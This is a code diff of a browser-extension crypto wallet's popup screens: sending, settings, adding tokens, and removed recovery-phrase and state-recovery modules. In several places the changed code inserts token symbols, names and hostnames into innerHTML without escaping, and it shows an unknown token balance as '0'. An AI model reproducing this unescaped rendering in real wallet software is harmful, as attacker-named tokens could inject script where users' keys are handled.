$("send-from").innerHTML = renderAddressHtml(addr.address, {
|
||||
title,
|
||||
ensName: addr.ensName,
|
||||
});
|
||||
attachCopyHandlers($("send-from"));
|
||||
let fromHtml = "";
|
||||
if (title) {
|
||||
fromHtml += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
|
||||
if (addr.ensName) {
|
||||
fromHtml += `<div>${escapeHtml(addr.ensName)}</div>`;
|
||||
}
|
||||
fromHtml += `<div class="break-all">${escapeHtml(addr.address)}${extLink}</div>`;
|
||||
} else if (addr.ensName) {
|
||||
fromHtml += `<div class="flex items-center font-bold">${dot}${escapeHtml(addr.ensName)}</div>`;
|
||||
fromHtml += `<div class="break-all">${escapeHtml(addr.address)}${extLink}</div>`;
|
||||
} else {
|
||||
fromHtml += `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(addr.address)}</span>${extLink}</div>`;
|
||||
}
|
||||
$("send-from").innerHTML = fromHtml;
|
||||
const token = state.selectedToken || $("send-token").value;
|
||||
if (token === "ETH") {
|
||||
$("send-balance").textContent =
|
||||
@@ -160,14 +179,9 @@ function updateSendBalance() {
|
||||
addr.tokenBalances,
|
||||
state.trackedTokens,
|
||||
);
|
||||
// A null balance is a holding whose scale nothing knows. Saying "0"
|
||||
// for it would be a claim about the amount; the send itself is
|
||||
// refused later by transferAmountUnits() for the same missing scale.
|
||||
const bal = tb ? tb.balance : "0";
|
||||
const bal = tb ? tb.balance || "0" : "0";
|
||||
$("send-balance").textContent =
|
||||
bal == null
|
||||
? "Current balance: unknown (" + symbol + ")"
|
||||
: "Current balance: " + bal + " " + symbol;
|
||||
"Current balance: " + bal + " " + symbol;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -208,7 +222,7 @@ function init(_ctx) {
|
||||
let ensName = null;
|
||||
if (to.includes(".") && !to.startsWith("0x")) {
|
||||
try {
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
const resolved = await provider.resolveName(to);
|
||||
if (!resolved) {
|
||||
showFlash("Could not resolve " + to);
|
||||
@@ -216,7 +230,7 @@ function init(_ctx) {
|
||||
}
|
||||
resolvedTo = resolved;
|
||||
ensName = to;
|
||||
} catch {
|
||||
} catch (e) {
|
||||
showFlash("Failed to resolve ENS name.");
|
||||
return;
|
||||
}
|
||||
@@ -227,11 +241,6 @@ function init(_ctx) {
|
||||
|
||||
let tokenSymbol = null;
|
||||
let tokenBalance = null;
|
||||
// The scale the amount and the balance below are rendered at, carried
|
||||
// forward so the transfer is encoded with the number the user read
|
||||
// rather than with whatever the contract answers at signing time. See
|
||||
// src/shared/transferAmount.js.
|
||||
let tokenDecimals = null;
|
||||
if (token !== "ETH") {
|
||||
const tb = (addr.tokenBalances || []).find(
|
||||
(t) => t.address.toLowerCase() === token.toLowerCase(),
|
||||
@@ -241,26 +250,7 @@ function init(_ctx) {
|
||||
addr.tokenBalances,
|
||||
state.trackedTokens,
|
||||
);
|
||||
// null carried through rather than flattened to "0": the confirm
|
||||
// screen states an unknown balance as unknown, and
|
||||
// validateTransfer() treats it as no balance to spend from, which
|
||||
// is the fail-closed side of an amount nobody can check.
|
||||
tokenBalance = tb ? (tb.balance ?? null) : "0";
|
||||
// Resolved the same way balances.js resolved the scale it
|
||||
// DISPLAYED this token's balance at: bundled list, then the user's
|
||||
// tracked tokens, then the explorer. The stored
|
||||
// tokenBalances[].decimals is the explorer's own answer alone, so
|
||||
// reading it raw carries a null forward for a token the wallet
|
||||
// does know the scale of — and displayedDecimals() then throws
|
||||
// inside estimateGas(), which the confirmation screen reports as
|
||||
// an unestimable fee. Unsendable, over a scale that was never in
|
||||
// doubt (https://git.eeqj.de/sneak/AutistMask/issues/349).
|
||||
// Still null when nothing knows: no fallback, and the unknown
|
||||
// path below is then the real one.
|
||||
tokenDecimals = resolveTokenDecimals(token, {
|
||||
trackedTokens: state.trackedTokens,
|
||||
wallets: state.wallets,
|
||||
});
|
||||
tokenBalance = tb ? tb.balance || "0" : "0";
|
||||
}
|
||||
|
||||
ctx.showConfirmTx({
|
||||
@@ -272,14 +262,17 @@ function init(_ctx) {
|
||||
balance: addr.balance,
|
||||
tokenSymbol: tokenSymbol,
|
||||
tokenBalance: tokenBalance,
|
||||
tokenDecimals: tokenDecimals,
|
||||
});
|
||||
});
|
||||
|
||||
$("btn-send-back").addEventListener("click", () => {
|
||||
$("send-token").classList.remove("hidden");
|
||||
$("send-token-static").classList.add("hidden");
|
||||
goBack();
|
||||
if (state.selectedToken) {
|
||||
ctx.showAddressToken();
|
||||
} else {
|
||||
ctx.showAddressDetail();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -1,38 +1,11 @@
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
updateDebugBanner,
|
||||
showFlash,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
flashCopyFeedback,
|
||||
goBack,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { applyTheme } = require("../theme");
|
||||
const {
|
||||
DUST_THRESHOLD_MESSAGE,
|
||||
parseDustThresholdGwei,
|
||||
} = require("../dustThreshold");
|
||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||
const { onChainSwitch } = require("../../shared/chainSwitch");
|
||||
const { log, debugFetch, setRuntimeDebug } = require("../../shared/log");
|
||||
const { $, showView, showFlash, escapeHtml } = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { ETHEREUM_MAINNET_CHAIN_ID } = require("../../shared/constants");
|
||||
const { log, debugFetch } = require("../../shared/log");
|
||||
const deleteWallet = require("./deleteWallet");
|
||||
const showPhrase = require("./showPhrase");
|
||||
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
|
||||
const {
|
||||
BUILD_VERSION,
|
||||
BUILD_LICENSE,
|
||||
BUILD_AUTHOR,
|
||||
BUILD_COMMIT,
|
||||
BUILD_DATE,
|
||||
GITEA_COMMIT_URL,
|
||||
} = require("../../shared/buildInfo");
|
||||
|
||||
const { notify } = require("../../shared/browserApi");
|
||||
|
||||
let versionClickCount = 0;
|
||||
let versionClickTimer = null;
|
||||
const runtime =
|
||||
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
|
||||
|
||||
function renderSiteList(containerId, siteMap, stateKey) {
|
||||
const container = $(containerId);
|
||||
@@ -44,11 +17,8 @@ function renderSiteList(containerId, siteMap, stateKey) {
|
||||
let html = "";
|
||||
hostnames.forEach((hostname) => {
|
||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||
// A hostname the URL parser produced cannot carry a delimiter, so
|
||||
// this is escaped for the rule rather than for a known hole — the
|
||||
// rule being that nothing reaches innerHTML unescaped.
|
||||
html += `<span>${escapeHtml(hostname)}</span>`;
|
||||
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
|
||||
html += `<span>${hostname}</span>`;
|
||||
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
|
||||
html += `</div>`;
|
||||
});
|
||||
container.innerHTML = html;
|
||||
@@ -63,7 +33,7 @@ function renderSiteList(containerId, siteMap, stateKey) {
|
||||
}
|
||||
}
|
||||
await saveState();
|
||||
notify({ type: "AUTISTMASK_REMOVE_SITE" });
|
||||
runtime.sendMessage({ type: "AUTISTMASK_REMOVE_SITE" });
|
||||
renderSiteList(containerId, state[key], key);
|
||||
});
|
||||
});
|
||||
@@ -77,10 +47,9 @@ function renderTrackedTokens() {
|
||||
}
|
||||
let html = "";
|
||||
state.trackedTokens.forEach((token, idx) => {
|
||||
const sym = escapeHtml(displaySymbol(token.symbol));
|
||||
const label = token.name
|
||||
? escapeHtml(token.name) + " (" + sym + ")"
|
||||
: sym;
|
||||
? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
|
||||
: escapeHtml(token.symbol);
|
||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||
html += `<span>${label}</span>`;
|
||||
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
|
||||
@@ -108,34 +77,17 @@ function renderWalletListSettings() {
|
||||
const name = escapeHtml(wallet.name || "Wallet " + (idx + 1));
|
||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||
html += `<span class="settings-wallet-name cursor-pointer underline decoration-dashed" data-idx="${idx}">${name}</span>`;
|
||||
html += `<span class="flex items-center gap-1 flex-shrink-0">`;
|
||||
// Key and xprv wallets have no recovery phrase, so they are never
|
||||
// offered the action at all.
|
||||
if (walletHasRecoveryPhrase(wallet)) {
|
||||
html += `<button class="btn-show-phrase border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}" title="Show recovery phrase">[recovery phrase]</button>`;
|
||||
}
|
||||
html += `<button class="btn-delete-wallet border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
|
||||
html += `</span>`;
|
||||
html += `</div>`;
|
||||
});
|
||||
container.innerHTML = html;
|
||||
container.querySelectorAll(".btn-delete-wallet").forEach((btn) => {
|
||||
btn.addEventListener("click", () => {
|
||||
const idx = parseInt(btn.dataset.idx, 10);
|
||||
pushCurrentView();
|
||||
deleteWallet.show(idx);
|
||||
});
|
||||
});
|
||||
|
||||
container.querySelectorAll(".btn-show-phrase").forEach((btn) => {
|
||||
btn.addEventListener("click", () => {
|
||||
const idx = parseInt(btn.dataset.idx, 10);
|
||||
// No pushCurrentView() here: showPhrase.show() refuses
|
||||
// non-HD wallets and pushes only when it navigates.
|
||||
showPhrase.show(idx);
|
||||
});
|
||||
});
|
||||
|
||||
// Inline rename on click
|
||||
container.querySelectorAll(".settings-wallet-name").forEach((span) => {
|
||||
span.addEventListener("click", () => {
|
||||
@@ -172,33 +124,10 @@ function renderWalletListSettings() {
|
||||
function show() {
|
||||
$("settings-rpc").value = state.rpcUrl;
|
||||
$("settings-blockscout").value = state.blockscoutUrl;
|
||||
$("settings-network").value = state.networkId;
|
||||
renderTrackedTokens();
|
||||
renderSiteLists();
|
||||
renderWalletListSettings();
|
||||
|
||||
// Populate About well
|
||||
$("about-license").textContent = BUILD_LICENSE;
|
||||
// Show only the name part of the author field (strip email)
|
||||
const authorName = BUILD_AUTHOR.replace(/\s*<[^>]+>/, "");
|
||||
$("about-author").textContent = authorName;
|
||||
$("about-version").textContent = BUILD_VERSION;
|
||||
$("about-release-date").textContent = BUILD_DATE;
|
||||
$("about-commit-link").textContent = BUILD_COMMIT;
|
||||
$("about-commit-link").href = GITEA_COMMIT_URL;
|
||||
|
||||
// Reset version click counter each time settings opens
|
||||
versionClickCount = 0;
|
||||
|
||||
// Show debug well if debug mode is already enabled
|
||||
const debugWell = $("settings-debug-well");
|
||||
if (state.debugMode) {
|
||||
debugWell.style.display = "";
|
||||
} else {
|
||||
debugWell.style.display = "none";
|
||||
}
|
||||
$("settings-debug-mode").checked = state.debugMode;
|
||||
|
||||
showView("settings");
|
||||
}
|
||||
|
||||
@@ -213,7 +142,6 @@ function renderSiteLists() {
|
||||
|
||||
function init(ctx) {
|
||||
deleteWallet.init(ctx);
|
||||
showPhrase.init();
|
||||
|
||||
$("btn-save-rpc").addEventListener("click", async () => {
|
||||
const url = $("settings-rpc").value.trim();
|
||||
@@ -239,12 +167,9 @@ function init(ctx) {
|
||||
showFlash("Endpoint returned error: " + json.error.message);
|
||||
return;
|
||||
}
|
||||
const net = currentNetwork();
|
||||
if (json.result !== net.chainId) {
|
||||
if (json.result !== ETHEREUM_MAINNET_CHAIN_ID) {
|
||||
showFlash(
|
||||
"Wrong network (expected " +
|
||||
net.name +
|
||||
", got chain " +
|
||||
"Wrong network (expected mainnet, got chain " +
|
||||
json.result +
|
||||
").",
|
||||
);
|
||||
@@ -283,34 +208,12 @@ function init(ctx) {
|
||||
showFlash("Saved.");
|
||||
});
|
||||
|
||||
const networkSelect = $("settings-network");
|
||||
networkSelect.addEventListener("change", async () => {
|
||||
const newId = networkSelect.value;
|
||||
const net = await onChainSwitch(newId);
|
||||
$("settings-rpc").value = state.rpcUrl;
|
||||
$("settings-blockscout").value = state.blockscoutUrl;
|
||||
showFlash("Switched to " + net.name + ".");
|
||||
});
|
||||
|
||||
$("settings-show-zero-balances").checked = state.showZeroBalanceTokens;
|
||||
$("settings-show-zero-balances").addEventListener("change", async () => {
|
||||
state.showZeroBalanceTokens = $("settings-show-zero-balances").checked;
|
||||
await saveState();
|
||||
});
|
||||
|
||||
$("settings-theme").value = state.theme;
|
||||
$("settings-theme").addEventListener("change", async () => {
|
||||
state.theme = $("settings-theme").value;
|
||||
await saveState();
|
||||
applyTheme(state.theme);
|
||||
});
|
||||
|
||||
$("settings-hide-spoofed-symbols").checked = state.hideSpoofedSymbols;
|
||||
$("settings-hide-spoofed-symbols").addEventListener("change", async () => {
|
||||
state.hideSpoofedSymbols = $("settings-hide-spoofed-symbols").checked;
|
||||
await saveState();
|
||||
});
|
||||
|
||||
$("settings-hide-low-holders").checked = state.hideLowHolderTokens;
|
||||
$("settings-hide-low-holders").addEventListener("change", async () => {
|
||||
state.hideLowHolderTokens = $("settings-hide-low-holders").checked;
|
||||
@@ -331,24 +234,11 @@ function init(ctx) {
|
||||
|
||||
$("settings-dust-threshold").value = state.dustThresholdGwei;
|
||||
$("settings-dust-threshold").addEventListener("change", async () => {
|
||||
const val = parseDustThresholdGwei($("settings-dust-threshold").value);
|
||||
// Rejected input is never coerced. The field is put back to the
|
||||
// stored threshold so it never shows a value the wallet is not
|
||||
// using, and the message says what the field wants so the snap-back
|
||||
// is explained rather than silent.
|
||||
if (val === null) {
|
||||
showFlash(DUST_THRESHOLD_MESSAGE);
|
||||
} else {
|
||||
const val = parseInt($("settings-dust-threshold").value, 10);
|
||||
if (!isNaN(val) && val >= 0) {
|
||||
state.dustThresholdGwei = val;
|
||||
await saveState();
|
||||
}
|
||||
$("settings-dust-threshold").value = state.dustThresholdGwei;
|
||||
});
|
||||
|
||||
$("settings-utc-timestamps").checked = state.utcTimestamps;
|
||||
$("settings-utc-timestamps").addEventListener("change", async () => {
|
||||
state.utcTimestamps = $("settings-utc-timestamps").checked;
|
||||
await saveState();
|
||||
});
|
||||
|
||||
$("btn-main-add-wallet").addEventListener("click", ctx.showAddWalletView);
|
||||
@@ -358,68 +248,9 @@ function init(ctx) {
|
||||
ctx.showSettingsAddTokenView,
|
||||
);
|
||||
|
||||
// Bright saturated colors for easter egg flashes (clicks 6–10)
|
||||
const easterEggColors = [
|
||||
"#ff0055", // hot pink
|
||||
"#00cc44", // vivid green
|
||||
"#3366ff", // electric blue
|
||||
"#ff9900", // bright orange
|
||||
"#aa00ff", // vivid purple
|
||||
];
|
||||
|
||||
// Easter egg: click version 10 times to reveal the debug well.
|
||||
// Each click does a copy-flash animation. After 5 clicks, each
|
||||
// additional click flashes a different bright saturated color.
|
||||
$("about-version").addEventListener("click", () => {
|
||||
versionClickCount++;
|
||||
clearTimeout(versionClickTimer);
|
||||
// Reset counter if user stops clicking for 3 seconds
|
||||
versionClickTimer = setTimeout(() => {
|
||||
versionClickCount = 0;
|
||||
}, 3000);
|
||||
|
||||
const el = $("about-version");
|
||||
|
||||
if (versionClickCount > 5) {
|
||||
// Colored flash for clicks 6–10
|
||||
const colorIdx = versionClickCount - 6;
|
||||
const color = easterEggColors[colorIdx % easterEggColors.length];
|
||||
el.classList.remove("copy-flash-fade");
|
||||
el.style.backgroundColor = color;
|
||||
el.style.color = "#ffffff";
|
||||
setTimeout(() => {
|
||||
el.style.backgroundColor = "";
|
||||
el.style.color = "";
|
||||
el.classList.add("copy-flash-fade");
|
||||
setTimeout(() => {
|
||||
el.classList.remove("copy-flash-fade");
|
||||
}, 275);
|
||||
}, 75);
|
||||
} else {
|
||||
// Standard copy-flash for clicks 1–5
|
||||
flashCopyFeedback(el);
|
||||
}
|
||||
|
||||
if (versionClickCount >= 10) {
|
||||
versionClickCount = 0;
|
||||
clearTimeout(versionClickTimer);
|
||||
$("settings-debug-well").style.display = "";
|
||||
}
|
||||
});
|
||||
|
||||
// Debug mode toggle — update runtime flag, persist, and re-render banner
|
||||
$("settings-debug-mode").addEventListener("change", async () => {
|
||||
state.debugMode = $("settings-debug-mode").checked;
|
||||
setRuntimeDebug(state.debugMode);
|
||||
await saveState();
|
||||
updateDebugBanner(state.currentView);
|
||||
});
|
||||
|
||||
// Sync runtime debug flag on init
|
||||
setRuntimeDebug(state.debugMode);
|
||||
|
||||
$("btn-settings-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
|
||||
const { $, showView, showFlash } = require("./helpers");
|
||||
const { getTopTokens } = require("../../shared/tokenList");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { lookupTokenInfo } = require("../../shared/balances");
|
||||
@@ -26,11 +26,11 @@ function renderTop10() {
|
||||
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
|
||||
return (
|
||||
`<button class="settings-addtoken-quick ${cls}"` +
|
||||
` data-address="${escapeHtml(t.address)}"` +
|
||||
` data-symbol="${escapeHtml(t.symbol)}"` +
|
||||
` data-decimals="${escapeHtml(t.decimals)}"` +
|
||||
` data-name="${escapeHtml(t.name || "")}"` +
|
||||
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
|
||||
` data-address="${t.address}"` +
|
||||
` data-symbol="${t.symbol}"` +
|
||||
` data-decimals="${t.decimals}"` +
|
||||
` data-name="${(t.name || "").replace(/"/g, """)}"` +
|
||||
`${tracked ? " disabled" : ""}>${t.symbol}</button>`
|
||||
);
|
||||
})
|
||||
.join("");
|
||||
@@ -62,19 +62,18 @@ function renderDropdown() {
|
||||
const tracked = isTracked(t.address);
|
||||
const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
|
||||
html +=
|
||||
`<option value="${escapeHtml(t.address)}"` +
|
||||
` data-symbol="${escapeHtml(t.symbol)}"` +
|
||||
` data-decimals="${escapeHtml(t.decimals)}"` +
|
||||
` data-name="${escapeHtml(t.name || "")}"` +
|
||||
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
|
||||
`<option value="${t.address}"` +
|
||||
` data-symbol="${t.symbol}"` +
|
||||
` data-decimals="${t.decimals}"` +
|
||||
` data-name="${(t.name || "").replace(/"/g, """)}"` +
|
||||
`${tracked ? " disabled" : ""}>${label}</option>`;
|
||||
}
|
||||
sel.innerHTML = html;
|
||||
}
|
||||
|
||||
function show() {
|
||||
$("settings-addtoken-address").value = "";
|
||||
$("settings-addtoken-info").textContent = "";
|
||||
$("settings-addtoken-info").style.visibility = "hidden";
|
||||
$("settings-addtoken-info").classList.add("hidden");
|
||||
renderTop10();
|
||||
renderDropdown();
|
||||
showView("settings-addtoken");
|
||||
@@ -84,7 +83,7 @@ function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
|
||||
$("btn-settings-addtoken-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
ctx.showSettingsView();
|
||||
});
|
||||
|
||||
$("btn-settings-addtoken-select").addEventListener("click", async () => {
|
||||
@@ -130,14 +129,10 @@ function init(_ctx) {
|
||||
}
|
||||
const infoEl = $("settings-addtoken-info");
|
||||
infoEl.textContent = "Looking up token...";
|
||||
infoEl.style.visibility = "visible";
|
||||
infoEl.classList.remove("hidden");
|
||||
log.debugf("Looking up token contract", addr);
|
||||
try {
|
||||
const info = await lookupTokenInfo(
|
||||
addr,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
const info = await lookupTokenInfo(addr, state.rpcUrl);
|
||||
log.infof("Adding token", info.symbol, addr);
|
||||
state.trackedTokens.push({
|
||||
address: addr,
|
||||
@@ -148,8 +143,7 @@ function init(_ctx) {
|
||||
await saveState();
|
||||
showFlash("Added " + info.symbol);
|
||||
$("settings-addtoken-address").value = "";
|
||||
infoEl.textContent = "";
|
||||
infoEl.style.visibility = "hidden";
|
||||
infoEl.classList.add("hidden");
|
||||
renderTop10();
|
||||
renderDropdown();
|
||||
ctx.doRefreshAndRender();
|
||||
@@ -157,8 +151,7 @@ function init(_ctx) {
|
||||
const detail = e.shortMessage || e.message || String(e);
|
||||
log.errorf("Token lookup failed for", addr, detail);
|
||||
showFlash(detail);
|
||||
infoEl.textContent = "";
|
||||
infoEl.style.visibility = "hidden";
|
||||
infoEl.classList.add("hidden");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@@ -1,154 +0,0 @@
|
||||
// Recovery phrase display for HD wallets.
|
||||
//
|
||||
// The phrase is the secret that owns every address in the wallet, so it is
|
||||
// handled under four rules:
|
||||
//
|
||||
// 1. Only an HD wallet reaches this screen (walletHasRecoveryPhrase).
|
||||
// 2. Nothing is decrypted, and nothing is written into the DOM, until
|
||||
// decryptWithPassword has accepted the password.
|
||||
// 3. Leaving the screen by any path wipes it, via the onViewLeave hook,
|
||||
// and a decrypt still in flight when that happens is discarded
|
||||
// instead of written (revealGeneration).
|
||||
// 4. The phrase never reaches the logger. This module deliberately does
|
||||
// not import src/shared/log.js, and the failed-decrypt path reports a
|
||||
// fixed sentence rather than the caught error.
|
||||
//
|
||||
// The phrase is also never assigned to `state`, so it cannot be persisted
|
||||
// to extension storage, and "show-phrase" is excluded from RESTORABLE_VIEWS
|
||||
// so the popup can never reopen onto it.
|
||||
|
||||
const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
goBack,
|
||||
onViewLeave,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state } = require("../../shared/state");
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { walletHasRecoveryPhrase } = require("../../shared/wallet");
|
||||
|
||||
const VIEW = "show-phrase";
|
||||
|
||||
let walletIndex = null;
|
||||
|
||||
// Bumped by every clear(), which is what leaving the screen runs. reveal()
|
||||
// captures it before awaiting the decrypt and refuses to touch the DOM if
|
||||
// it has moved: a decrypt still in flight when the screen is left would
|
||||
// otherwise write the phrase *after* the wipe, with nothing scheduled to
|
||||
// wipe it again, leaving it in the hidden view for the life of the popup.
|
||||
let revealGeneration = 0;
|
||||
|
||||
// True only if the reveal that captured `generation` is still the live one:
|
||||
// the screen has not been left, cleared, or re-entered for another wallet
|
||||
// since it started.
|
||||
function isCurrentReveal(generation) {
|
||||
return (
|
||||
generation === revealGeneration &&
|
||||
walletIndex !== null &&
|
||||
state.currentView === VIEW
|
||||
);
|
||||
}
|
||||
|
||||
function fail(message) {
|
||||
$("show-phrase-flash").textContent = message;
|
||||
$("show-phrase-flash").style.visibility = "visible";
|
||||
}
|
||||
|
||||
// Wipe every trace of the phrase and drop the wallet selection. Safe to
|
||||
// call when nothing was ever revealed, and safe to call twice.
|
||||
function clear() {
|
||||
walletIndex = null;
|
||||
revealGeneration += 1;
|
||||
$("show-phrase-value").textContent = "";
|
||||
$("show-phrase-password").value = "";
|
||||
$("show-phrase-result").classList.add("hidden");
|
||||
$("show-phrase-password-section").classList.remove("hidden");
|
||||
$("show-phrase-flash").textContent = "";
|
||||
$("show-phrase-flash").style.visibility = "hidden";
|
||||
}
|
||||
|
||||
function show(walletIdx) {
|
||||
const wallet = state.wallets[walletIdx];
|
||||
if (!walletHasRecoveryPhrase(wallet)) {
|
||||
showFlash("This wallet does not have a recovery phrase.");
|
||||
return;
|
||||
}
|
||||
clear();
|
||||
walletIndex = walletIdx;
|
||||
$("show-phrase-wallet-name").textContent =
|
||||
wallet.name || "Wallet " + (walletIdx + 1);
|
||||
// Pushed here rather than by the caller: this function can return
|
||||
// without navigating, and a push that happened anyway would leave an
|
||||
// entry on the stack that no screen transition matches.
|
||||
pushCurrentView();
|
||||
showView(VIEW);
|
||||
}
|
||||
|
||||
async function reveal() {
|
||||
const password = $("show-phrase-password").value;
|
||||
if (!password) {
|
||||
fail("Please enter your password.");
|
||||
return;
|
||||
}
|
||||
if (walletIndex === null) {
|
||||
fail("No wallet is selected.");
|
||||
return;
|
||||
}
|
||||
const wallet = state.wallets[walletIndex];
|
||||
if (!walletHasRecoveryPhrase(wallet)) {
|
||||
fail("This wallet does not have a recovery phrase.");
|
||||
return;
|
||||
}
|
||||
|
||||
const btn = $("btn-show-phrase-reveal");
|
||||
btn.disabled = true;
|
||||
btn.classList.add("text-muted");
|
||||
const generation = revealGeneration;
|
||||
try {
|
||||
const phrase = await decryptWithPassword(
|
||||
wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
// The only suspension point in this view, and the only place a
|
||||
// secret is written: if the screen was left while the decrypt ran,
|
||||
// the wipe has already happened and this write must not land.
|
||||
if (!isCurrentReveal(generation)) return;
|
||||
$("show-phrase-password").value = "";
|
||||
$("show-phrase-password-section").classList.add("hidden");
|
||||
$("show-phrase-value").textContent = phrase;
|
||||
$("show-phrase-result").classList.remove("hidden");
|
||||
$("show-phrase-flash").textContent = "";
|
||||
$("show-phrase-flash").style.visibility = "hidden";
|
||||
} catch {
|
||||
if (!isCurrentReveal(generation)) return;
|
||||
// Deliberately not the caught error: the message is fixed so that
|
||||
// nothing derived from the ciphertext or the attempt can surface.
|
||||
fail("That password is incorrect. Please try again.");
|
||||
} finally {
|
||||
btn.disabled = false;
|
||||
btn.classList.remove("text-muted");
|
||||
}
|
||||
}
|
||||
|
||||
function init() {
|
||||
onViewLeave(VIEW, clear);
|
||||
|
||||
$("btn-show-phrase-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
});
|
||||
|
||||
$("btn-show-phrase-reveal").addEventListener("click", reveal);
|
||||
|
||||
$("show-phrase-value").addEventListener("click", () => {
|
||||
const phrase = $("show-phrase-value").textContent;
|
||||
if (!phrase) return;
|
||||
navigator.clipboard.writeText(phrase);
|
||||
showFlash("Copied!");
|
||||
flashCopyFeedback($("show-phrase-value"));
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { init, show };
|
||||
@@ -1,197 +0,0 @@
|
||||
// The screen the popup shows when it cannot read the stored profile.
|
||||
//
|
||||
// Everything else in the popup assumes a loaded profile: showView() reads and
|
||||
// writes the state singleton, every view renders from it, and the Settings
|
||||
// gear leads to a screen that does both. None of that is available here — by
|
||||
// the time this runs, loadState() has REFUSED, deliberately, and reading the
|
||||
// singleton throws (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||
//
|
||||
// So this module talks to the DOM directly and touches no state at all. It is
|
||||
// the one screen that must work when nothing else can, which is also why it
|
||||
// takes no ctx and needs no init(): whatever the rest of the popup did or did
|
||||
// not manage to wire up, this shows.
|
||||
//
|
||||
// Two controls, and both are required. An export with no reset leaves the user
|
||||
// looking at their broken profile with no way to use the wallet again; a reset
|
||||
// with no export destroys the only copy of a record that may hold key material
|
||||
// a later build could read. So the export is offered first, in the page where
|
||||
// it cannot fail, and the reset is behind a typed confirmation.
|
||||
|
||||
// $ and VIEWS only: nothing else in helpers is safe here, since showView() and
|
||||
// everything under it read the state singleton. $ is taken from there rather
|
||||
// than written again locally so that tests/popupElementIds.test.js sees these
|
||||
// lookups and holds every id below against the markup.
|
||||
const { $, VIEWS } = require("./helpers");
|
||||
const { storageGet, storageRemove } = require("../../shared/browserApi");
|
||||
const { log } = require("../../shared/log");
|
||||
|
||||
// Typed in full before anything is erased, in the same spirit as the wallet
|
||||
// name on DeleteWalletLostPassword: this button destroys key material and
|
||||
// there is no password in front of it, because there is no profile to check a
|
||||
// password against. Compared case-insensitively — the phrase is the barrier,
|
||||
// not the shift key.
|
||||
const RESET_PHRASE = "ERASE MY WALLET";
|
||||
|
||||
let wired = false;
|
||||
|
||||
function setFlash(message) {
|
||||
const node = $("state-recovery-flash");
|
||||
node.textContent = message;
|
||||
node.style.visibility = message ? "visible" : "hidden";
|
||||
}
|
||||
|
||||
// The stored record exactly as storage hands it back, however malformed, with
|
||||
// no normalization, no defaulting and no repair on it: this is evidence, and
|
||||
// the point of the export is that a later build (or a human) sees what is
|
||||
// actually there. It is not the raw bytes — storage deserializes, and
|
||||
// exportRecord() re-serializes with JSON.stringify — so a value JSON cannot
|
||||
// represent is the one thing that does not survive the trip. See there.
|
||||
async function rawRecord() {
|
||||
const result = await storageGet("autistmask");
|
||||
return result.autistmask;
|
||||
}
|
||||
|
||||
// Best effort, and never the only route. A download from an extension popup
|
||||
// depends on the browser, the popup staying open long enough, and the
|
||||
// extension's content security policy; the textarea below depends on none of
|
||||
// those, and is filled first.
|
||||
function offerDownload(text) {
|
||||
try {
|
||||
if (
|
||||
typeof Blob !== "function" ||
|
||||
typeof URL === "undefined" ||
|
||||
typeof URL.createObjectURL !== "function"
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
const url = URL.createObjectURL(
|
||||
new Blob([text], { type: "application/json" }),
|
||||
);
|
||||
const link = document.createElement("a");
|
||||
link.href = url;
|
||||
link.download = "autistmask-saved-data.json";
|
||||
link.click();
|
||||
// Revoked in a later task, not in this one: the download is started
|
||||
// from the click and revoking the URL in the same turn can cancel it
|
||||
// before it has been read. If the popup closes first the URL dies with
|
||||
// the document anyway.
|
||||
if (typeof URL.revokeObjectURL === "function") {
|
||||
setTimeout(() => URL.revokeObjectURL(url), 0);
|
||||
}
|
||||
return true;
|
||||
} catch (e) {
|
||||
log.errorf("state recovery: download failed:", e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
